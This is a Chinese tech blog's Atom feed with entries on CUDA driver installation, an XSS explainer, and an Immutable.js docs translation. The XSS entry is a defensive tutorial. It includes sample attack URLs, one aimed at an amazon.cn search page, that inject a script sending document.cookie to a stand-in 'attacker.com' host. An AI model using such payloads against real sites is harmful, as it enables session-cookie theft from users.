atom.xml

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>The World of TomasRan</title>
  <subtitle>陶天然的博客</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="tomasran.space/"/>
  <updated>2017-07-22T01:18:39.000Z</updated>
  <id>tomasran.space/</id>
  
  <author>
    <name>TomasRan</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>centos下离线安装nvidia驱动和cuda环境</title>
    <link href="tomasran.space/archives/6xgSD-MrQfMzSwu7MHNS6g/"/>
    <id>tomasran.space/archives/6xgSD-MrQfMzSwu7MHNS6g/</id>
    <published>2017-07-22T01:15:50.000Z</published>
    <updated>2017-07-22T01:18:39.000Z</updated>
    
    <content type="html">&lt;h3 id=&quot;centos下-nvidia驱动和cuda环境安装&quot;&gt;&lt;a href=&quot;#centos下-nvidia驱动和cuda环境安装&quot; class=&quot;headerlink&quot; title=&quot;centos下 nvidia驱动和cuda环境安装&quot;&gt;&lt;/a&gt;centos下 nvidia驱动和cuda环境安装&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;禁用nouveau驱动&lt;br&gt;在 /etc/modprobe.d/ 目录下新建文件blacklist-nouveau.conf，并写入以下内容&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;blacklist nouveau&lt;br&gt;options nouveau modeset=0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;ol&gt;
&lt;li&gt;重新生成 kernel initramfs:&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;highlight ada&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;sudo dracut &lt;span class=&quot;comment&quot;&gt;--force&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ol&gt;
&lt;li&gt;重启&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;highlight nginx&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;attribute&quot;&gt;sudo&lt;/span&gt; reboot&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ol&gt;
&lt;li&gt;验证驱动被禁用&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;highlight 1c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;lsmod &lt;span class=&quot;string&quot;&gt;| grep nouveau&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;如果无结果显示则表明成功禁用。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;修改 /etc/inittab 文件&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;id:5:initdefault: &amp;gt; id:3:initdefault:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如上，将5改为3，保存。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;重启&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;highlight nginx&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;attribute&quot;&gt;sudo&lt;/span&gt; reboot&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ol&gt;
&lt;li&gt;安装nvidia驱动和cuda&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;highlight julia&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;cd xxxx&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;sudo sh cuda_&amp;lt;version&amp;gt;_linux.run&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
</content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;centos下-nvidia驱动和cuda环境安装&quot;&gt;&lt;a href=&quot;#centos下-nvidia驱动和cuda环境安装&quot; class=&quot;headerlink&quot; title=&quot;centos下 nvidia驱动和cuda环境安装&quot;&gt;&lt;/a&gt;centos下 nvidia驱动和cuda环境安装&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;禁用nouveau驱动&lt;br&gt;在 /etc/modprobe.d/ 目录下新建文件blacklist-nouveau.conf，并写入以下内容&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;blacklist nouveau&lt;br&gt;options nouveau modeset=0&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
      <category term="InstallationManual" scheme="tomasran.space/category/InstallationManual/"/>
    
    
      <category term="cuda" scheme="tomasran.space/tags/cuda/"/>
    
      <category term="nvidia驱动" scheme="tomasran.space/tags/nvidia%E9%A9%B1%E5%8A%A8/"/>
    
  </entry>
  
  <entry>
    <title>web开发的职业素养：拒绝XSS</title>
    <link href="tomasran.space/archives/oWZgIdOs5O2rjSUngSRMQg/"/>
    <id>tomasran.space/archives/oWZgIdOs5O2rjSUngSRMQg/</id>
    <published>2017-06-02T02:48:41.000Z</published>
    <updated>2017-06-02T03:02:23.000Z</updated>
    
    <content type="html">&lt;h3 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h3&gt;&lt;p&gt;XSS攻击的全称是 Cross Site Scripting（跨站脚本攻击），为了避免和样式表CSS混淆而简写为XSS（既生瑜何生亮 :&amp;lt;）。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h4 id=&quot;攻击目的&quot;&gt;&lt;a href=&quot;#攻击目的&quot; class=&quot;headerlink&quot; title=&quot;攻击目的&quot;&gt;&lt;/a&gt;攻击目的&lt;/h4&gt;&lt;p&gt;XSS攻击使用web应用，服务器，或者所依赖的插件系统的已知漏洞进行攻击。攻击者通过一些手段，将一些恶意内容，比如js脚本，插入到受攻击的网站。用户使用浏览器进行访问时就会受到攻击。&lt;/p&gt;
&lt;p&gt;那么受到攻击有什么危害呢？对用户来讲，比较常见的就是受害者网站的cookie、session等敏感数据遭到泄露（这些数据一般保存着用户登陆状态等信息，攻击者拿到这些就可以登陆用户的账号随心所欲的操作）；而对于网站来讲，也许会影响用户体验，包括而不限于可能因此遭到DOS攻击等等。危害性不容小觑。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/xss-attack2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;在web安全中的地位&quot;&gt;&lt;a href=&quot;#在web安全中的地位&quot; class=&quot;headerlink&quot; title=&quot;在web安全中的地位&quot;&gt;&lt;/a&gt;在web安全中的地位&lt;/h4&gt;&lt;p&gt;很多网站都爆发过XSS漏洞，其中不乏互联网巨头，比如Twitter，Facebook，YouTube等等，虽然在互联网安全中已经受到了相当的重视（如果想要了解web中目前比较关注的安全问题，&lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;OWASP Top 10&lt;/a&gt; 千千万万不要错过，它绝对是你在网站安全建设过程中的绝佳帮手），但是大量的XSS漏洞仍在前赴后继。或是缺少经验，或是用户数据并不十分敏感，亦或是互联网风暴席卷而来时疯了一样的迭代速度所限制的安全投入。&lt;/p&gt;
&lt;h3 id=&quot;XSS攻击的类型&quot;&gt;&lt;a href=&quot;#XSS攻击的类型&quot; class=&quot;headerlink&quot; title=&quot;XSS攻击的类型&quot;&gt;&lt;/a&gt;XSS攻击的类型&lt;/h3&gt;&lt;p&gt;XSS攻击一般总结为如下三类，第三类攻击可能并不常见一些，在此也稍作说明以示全貌（有时也被划分为两大类：持久化和非持久化的XSS攻击）。&lt;/p&gt;
&lt;h4 id=&quot;基于反射的攻击（非持久化）&quot;&gt;&lt;a href=&quot;#基于反射的攻击（非持久化）&quot; class=&quot;headerlink&quot; title=&quot;基于反射的攻击（非持久化）&quot;&gt;&lt;/a&gt;基于反射的攻击（非持久化）&lt;/h4&gt;&lt;p&gt;基于反射的XSS攻击一般是服务器端根据用户的输入或者查询条件返回了带有恶意脚本的结果并在客户端执行。这种漏洞常见于各种搜索引擎之中。&lt;/p&gt;
&lt;h5 id=&quot;举例&quot;&gt;&lt;a href=&quot;#举例&quot; class=&quot;headerlink&quot; title=&quot;举例&quot;&gt;&lt;/a&gt;举例&lt;/h5&gt;&lt;p&gt;比如我们在亚马逊的搜索栏中输入以下图示代码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;后端服务器接收到用户输入之后进行查询，发现查询不到类似结果，于是返回如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;当然了，亚马逊并不存在XSS漏洞，这是正常的结果。那么存在XSS漏洞的搜索是如何表现的呢？&lt;/p&gt;
&lt;p&gt;以上述流程为例，当我们在搜索栏中输入对应的恶意脚本代码，服务器端进行处理，当未找到匹配内容时简单返回我们输入的查询字符串。那么，这时候如果网站前端或者服务器端没有对查询字符串做恰当的处理，只是简单返回并插入到页面中，那这段恶意脚本代码很可能被当做正常的script标签解释执行。后果很明显，我们泄露了自己账户的cookie。&lt;/p&gt;
&lt;p&gt;那么攻击者是如何进行攻击的呢？他自然不是站在你身旁，威胁你输入上面的脚本，那还不如自己亲自去查看来的迅速。他在发现网站存在基于反射的XSS漏洞之后，通过某种方式给你提供下面一条链接，将恶意代码塞入查询条件中，如下例的’field_keywords’字段，诱导你去点击：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://www.amazon.cn/s/ref=nb_sb_noss?__mk_zh_CN=%E4%BA%9A%E9%A9%AC%E9%80%8A%E7%BD%91%E7%AB%99&amp;amp;url=search-alias%3Daps&amp;amp;field-keywords=%3Cscript+src%3D%27attacker.com%3Fcookie%3D%27+%2B+document.cookie%3E%3C%2Fscript%3E&amp;amp;rh=i%3Aaps%2Ck%3A%3Cscript+src%3D%27attacker.com%3Fcookie%3D%27+%2B+document.cookie%3E%3C%2Fscript%3E&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而当你点击的片刻，你对应网站的cookie也就泄露了。&lt;/p&gt;
&lt;h5 id=&quot;总结&quot;&gt;&lt;a href=&quot;#总结&quot; class=&quot;headerlink&quot; title=&quot;总结&quot;&gt;&lt;/a&gt;总结&lt;/h5&gt;&lt;p&gt;这就是基于反射的XSS攻击，因为攻击代码并不是存储在受攻击网站的服务器上，也称之为非持久化攻击。攻击的代码一般在服务器端的response中可以找见。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/reflected-xss.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;基于存储的攻击&quot;&gt;&lt;a href=&quot;#基于存储的攻击&quot; class=&quot;headerlink&quot; title=&quot;基于存储的攻击&quot;&gt;&lt;/a&gt;基于存储的攻击&lt;/h4&gt;&lt;p&gt;基于存储的XSS攻击也是向目标网站注入可执行脚本，但是攻击者的恶意代码会被存储到网站服务器上，因此划分为基于存储的XSS攻击。这种漏洞常见于一般的社交网站的评论系统等。&lt;/p&gt;
&lt;h5 id=&quot;举例-1&quot;&gt;&lt;a href=&quot;#举例-1&quot; class=&quot;headerlink&quot; title=&quot;举例&quot;&gt;&lt;/a&gt;举例&lt;/h5&gt;&lt;p&gt;我们去百度贴吧上回帖，回帖的内容是一段恶意的脚本代码，我们点击发表。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们的评论也就被后端服务器存储到数据库中。接下来我们去查看刚才发表的评论：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;现在的百度贴吧自然也不存在XSS漏洞。我们还是介绍过程。&lt;/p&gt;
&lt;p&gt;那么可以想见，我们的评论被存储到后台数据库中，当别人看帖时，我们的评论自然也会从数据库读取出来展示。那么如果存在XSS漏洞，前后端没有对我们提交的评论进行恰当的处理，这段提交的代码也很可能被当做正常的标签语句解释执行，结果自然也是cookie泄露。&lt;/p&gt;
&lt;h5 id=&quot;总结-1&quot;&gt;&lt;a href=&quot;#总结-1&quot; class=&quot;headerlink&quot; title=&quot;总结&quot;&gt;&lt;/a&gt;总结&lt;/h5&gt;&lt;p&gt;基于存储的XSS漏洞的攻击方式一目了然，因为基于存储，属于一种持久化攻击。这种XSS攻击，攻击者的代码从服务器端返回的response中取得。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/sorted-XSS.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;基于DOM的攻击&quot;&gt;&lt;a href=&quot;#基于DOM的攻击&quot; class=&quot;headerlink&quot; title=&quot;基于DOM的攻击&quot;&gt;&lt;/a&gt;基于DOM的攻击&lt;/h4&gt;&lt;p&gt;基于DOM的攻击可以说是基于反射的XSS攻击的子类，它也是非持久化的。它的特别之处就在于服务端并不会接触到攻击的脚本，攻击由客户端代码执行之后发生。&lt;/p&gt;
&lt;h5 id=&quot;举例-2&quot;&gt;&lt;a href=&quot;#举例-2&quot; class=&quot;headerlink&quot; title=&quot;举例&quot;&gt;&lt;/a&gt;举例&lt;/h5&gt;&lt;p&gt;攻击者向受害者发送了一个攻击连接：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://some.site/page.html?default&amp;lt;script+src%3Dattacker.com%3Fcookie%3Ddocument.cookie&amp;gt;&amp;lt;%2Fscript&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当受害者点击这个链接时，便会向服务器端发送请求，服务器端返回资源、数据，但并没有接触url中的default参数。&lt;/p&gt;
&lt;p&gt;这个default参数有什么用呢？它被本地的js代码读取执行，将参数对应的值插入页面，由于没有对参数值做恰当处理，浏览器可能会将这段恶意代码解释执行，于是触发了XSS攻击。&lt;/p&gt;
&lt;h5 id=&quot;总结-2&quot;&gt;&lt;a href=&quot;#总结-2&quot; class=&quot;headerlink&quot; title=&quot;总结&quot;&gt;&lt;/a&gt;总结&lt;/h5&gt;&lt;p&gt;基于DOM的漏洞并不是很常见，服务器端不会touch到它，因此与基于反射的XSS攻击有所不同，它是本地js代码的执行漏洞，服务器端并不能采取有效措施解决它而是依赖于客户端代码。&lt;/p&gt;
&lt;h3 id=&quot;如何防御XSS漏洞&quot;&gt;&lt;a href=&quot;#如何防御XSS漏洞&quot; class=&quot;headerlink&quot; title=&quot;如何防御XSS漏洞&quot;&gt;&lt;/a&gt;如何防御XSS漏洞&lt;/h3&gt;&lt;p&gt;通过以上详述，我们应该可以理解到所谓的XSS攻击主要是因为浏览器端错误执行了恶意的脚本所致。我们所要做的工作自然就是杜绝这些恶意的脚本（比如针对带有恶意脚本的请求拒绝服务），或者将这些脚本转化为浏览器不会执行的文本（也就是转义）。&lt;/p&gt;
&lt;p&gt;最稳妥的考虑方式是将任何数据都视为不可信任，根据数据要置于的上下文都进行恰当的转义。退一步当然也可以划分信任数据域和不信任数据域分而治之。&lt;/p&gt;
&lt;p&gt;这样一个原则在解决XSS漏洞时也具有很强的适用性：过滤输入，转义输出。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h3&gt;&lt;p&gt;XSS攻击的全称是 Cross Site Scripting（跨站脚本攻击），为了避免和样式表CSS混淆而简写为XSS（既生瑜何生亮 :&amp;lt;）。&lt;/p&gt;
    
    </summary>
    
      <category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
    
    
      <category term="XSS" scheme="tomasran.space/tags/XSS/"/>
    
  </entry>
  
  <entry>
    <title>Immutable.js中文文档</title>
    <link href="tomasran.space/archives/dsFzdQCcuQr1iO8ubvifYQ/"/>
    <id>tomasran.space/archives/dsFzdQCcuQr1iO8ubvifYQ/</id>
    <published>2017-04-05T15:29:58.000Z</published>
    <updated>2017-04-05T15:32:53.000Z</updated>
    
    <content type="html">&lt;p&gt;原文链接：&lt;a href=&quot;http://facebook.github.io/immutable-js/docs&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://facebook.github.io/immutable-js/docs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不可变的数据（Immutable data）鼓励我们使用纯函数（数据输入，数据输出），适用于更简单的应用程序开发，并且启用了函数式编程技术，例如惰性评估。&lt;/p&gt;
&lt;p&gt;为了将这些强大的函数概念引进Javascript，它提供了一套Javascript工程师熟悉的面向对象的API方法，就好像是Array，Map和Set的镜像方法一般。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h3 id=&quot;如何阅读这篇文档&quot;&gt;&lt;a href=&quot;#如何阅读这篇文档&quot; class=&quot;headerlink&quot; title=&quot;如何阅读这篇文档&quot;&gt;&lt;/a&gt;如何阅读这篇文档&lt;/h3&gt;&lt;p&gt;为了更好地解释什么样的值是Immutable.js API所期望和生成的，本篇文档将会采用和Javascript类似的一种静态语言进行展示说明（例如 &lt;a href=&quot;https://flowtype.org/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Flow&lt;/a&gt; 和 &lt;a href=&quot;http://www.typescriptlang.org/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;TypeScript&lt;/a&gt;）。你不需要使用那些类型检测工具就可以使用 Immutable.js ，只需要熟悉它们的语法就能帮助你更深入地理解这套API。&lt;/p&gt;
&lt;h4 id=&quot;一些例子以及如何去阅读它们。&quot;&gt;&lt;a href=&quot;#一些例子以及如何去阅读它们。&quot; class=&quot;headerlink&quot; title=&quot;一些例子以及如何去阅读它们。&quot;&gt;&lt;/a&gt;一些例子以及如何去阅读它们。&lt;/h4&gt;&lt;p&gt;所有的方法都会描述它们接受的数据类型和返回的数据类型。举例来说，一个接收两个数字作为参数并且返回一个数字的函数将会是这样的：&lt;/p&gt;
&lt;figure class=&quot;highlight livecodeserver&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;sum&lt;/span&gt;(&lt;span class=&quot;keyword&quot;&gt;first&lt;/span&gt;: &lt;span class=&quot;built_in&quot;&gt;number&lt;/span&gt;, &lt;span class=&quot;keyword&quot;&gt;second&lt;/span&gt;: &lt;span class=&quot;built_in&quot;&gt;number&lt;/span&gt;) : &lt;span class=&quot;built_in&quot;&gt;number&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;有时，方法可以接受不同的数据类型或者返回不同的数据类型，这是通过一个类型变量进行描述的，这个类型变量往往以典型的全部大写的形式给出。举例来说，一个返回值与接收参数的类型相同的函数看起来是这样的：&lt;/p&gt;
&lt;figure class=&quot;highlight r&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;identity&amp;lt;&lt;span class=&quot;literal&quot;&gt;T&lt;/span&gt;&amp;gt;(value: &lt;span class=&quot;literal&quot;&gt;T&lt;/span&gt;) : &lt;span class=&quot;literal&quot;&gt;T&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;类型变量用类进行定义并在方法中引用。举个例子，一个持有某个值得类可能看起来是这样的：&lt;/p&gt;
&lt;figure class=&quot;highlight ruby&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;Box&lt;/span&gt;&amp;lt;T&amp;gt;;&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        constructor(&lt;span class=&quot;symbol&quot;&gt;value:&lt;/span&gt; T)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;            getValue(): T&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;为了操作Immutable数据，方法调用不再是我们以前所习惯的影响某个Collection本身，取而代之的是返回一个全新的相同类型的Collection。&lt;code&gt;this&lt;/code&gt; 的类型同一个类的类型。举例来说，当你 &lt;code&gt;push&lt;/code&gt; 一个值到List 类型数据中时，它会返回新的List：&lt;/p&gt;
&lt;figure class=&quot;highlight ruby&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;List&lt;/span&gt;&amp;lt;T&amp;gt; &amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        push(&lt;span class=&quot;symbol&quot;&gt;value:&lt;/span&gt; T): this&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Immutable.js 中的很多方法接受实现了Javascript Iterable协议的值，并且对于表示为字符串序列的东西可能会显示为 Iterable&amp;lt;String&amp;gt;。通常在Javascript中当期望使用一个可迭代的对象时，我们会使用数组（[]），然而所有的 Immutable.js 集合都是可以自身迭代的。&lt;/p&gt;
&lt;p&gt;举个例子，为了在一个数据结构中获得深处的值，我们可能会使用getIn，它期望一个迭代的路径：&lt;/p&gt;
&lt;figure class=&quot;highlight livecodeserver&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;getIn(path: Iterable&amp;lt;&lt;span class=&quot;keyword&quot;&gt;string&lt;/span&gt; | &lt;span class=&quot;built_in&quot;&gt;number&lt;/span&gt;&amp;gt;): &lt;span class=&quot;keyword&quot;&gt;any&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;为了使用这个方法，我们可以传递一个数组： &lt;code&gt;data.getIn([&amp;#39;key&amp;#39;, 2])&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;注意：所有的例子都是使用现代版本的Javascript ES2015 进行展示的。为了在老的浏览器中运行，它们需要被转化为 ES3。&lt;/p&gt;
&lt;p&gt;举个例子：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// ES2015&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; mappedFoo = foo.map(x =&amp;gt; x * x);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// ES3&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; mappedFoo = foo.map(&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; (&lt;span class=&quot;params&quot;&gt;x&lt;/span&gt;) &lt;/span&gt;&amp;#123; &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; x * x; &amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h4 id=&quot;API&quot;&gt;&lt;a href=&quot;#API&quot; class=&quot;headerlink&quot; title=&quot;API&quot;&gt;&lt;/a&gt;API&lt;/h4&gt;&lt;h5 id=&quot;fromJS&quot;&gt;&lt;a href=&quot;#fromJS&quot; class=&quot;headerlink&quot; title=&quot;fromJS()&quot;&gt;&lt;/a&gt;&lt;a href=&quot;#fromJS&quot;&gt;fromJS()&lt;/a&gt;&lt;/h5&gt;&lt;h5 id=&quot;is&quot;&gt;&lt;a href=&quot;#is&quot; class=&quot;headerlink&quot; title=&quot;is()&quot;&gt;&lt;/a&gt;&lt;a href=&quot;#is&quot;&gt;is()&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;#####&lt;a href=&quot;#hash&quot;&gt;hash()&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isImmutable&quot;&gt;isImmutable()&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isCollection&quot;&gt;isCollection&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isKeyed&quot;&gt;isKeyed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isIndexed&quot;&gt;isIndexed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isAssociative&quot;&gt;isAssociative&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isOrdered&quot;&gt;isOrdered&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isValueObject&quot;&gt;isValueObject&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#isCollection&quot;&gt;valueObject&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#List&quot;&gt;List&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Map&quot;&gt;Map&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#OrderedMap&quot;&gt;OrderedMap&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Set&quot;&gt;Set&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#OrderedSet&quot;&gt;OrderedSet&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Stack&quot;&gt;Stack&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Range&quot;&gt;Range&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Repeat&quot;&gt;Repeat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Record&quot;&gt;Record&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Seq&quot;&gt;Seq&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#####&lt;a href=&quot;#Collection&quot;&gt;Collection&lt;/a&gt;&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;p&gt;原文链接：&lt;a href=&quot;http://facebook.github.io/immutable-js/docs&quot;&gt;http://facebook.github.io/immutable-js/docs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不可变的数据（Immutable data）鼓励我们使用纯函数（数据输入，数据输出），适用于更简单的应用程序开发，并且启用了函数式编程技术，例如惰性评估。&lt;/p&gt;
&lt;p&gt;为了将这些强大的函数概念引进Javascript，它提供了一套Javascript工程师熟悉的面向对象的API方法，就好像是Array，Map和Set的镜像方法一般。&lt;/p&gt;
    
    </summary>
    
      <category term="Translation" scheme="tomasran.space/category/Translation/"/>
    
    
      <category term="Immutable" scheme="tomasran.space/tags/Immutable/"/>
    
      <category term="惰性评估" scheme="tomasran.space/tags/%E6%83%B0%E6%80%A7%E8%AF%84%E4%BC%B0/"/>
    
  </entry>
  
  <entry>
    <title>webpack中文文档（一）：概念</title>
    <link href="tomasran.space/archives/ajLrq1XSkZkoTygybgxgzw/"/>
    <id>tomasran.space/archives/ajLrq1XSkZkoTygybgxgzw/</id>
    <published>2017-02-09T07:21:23.000Z</published>
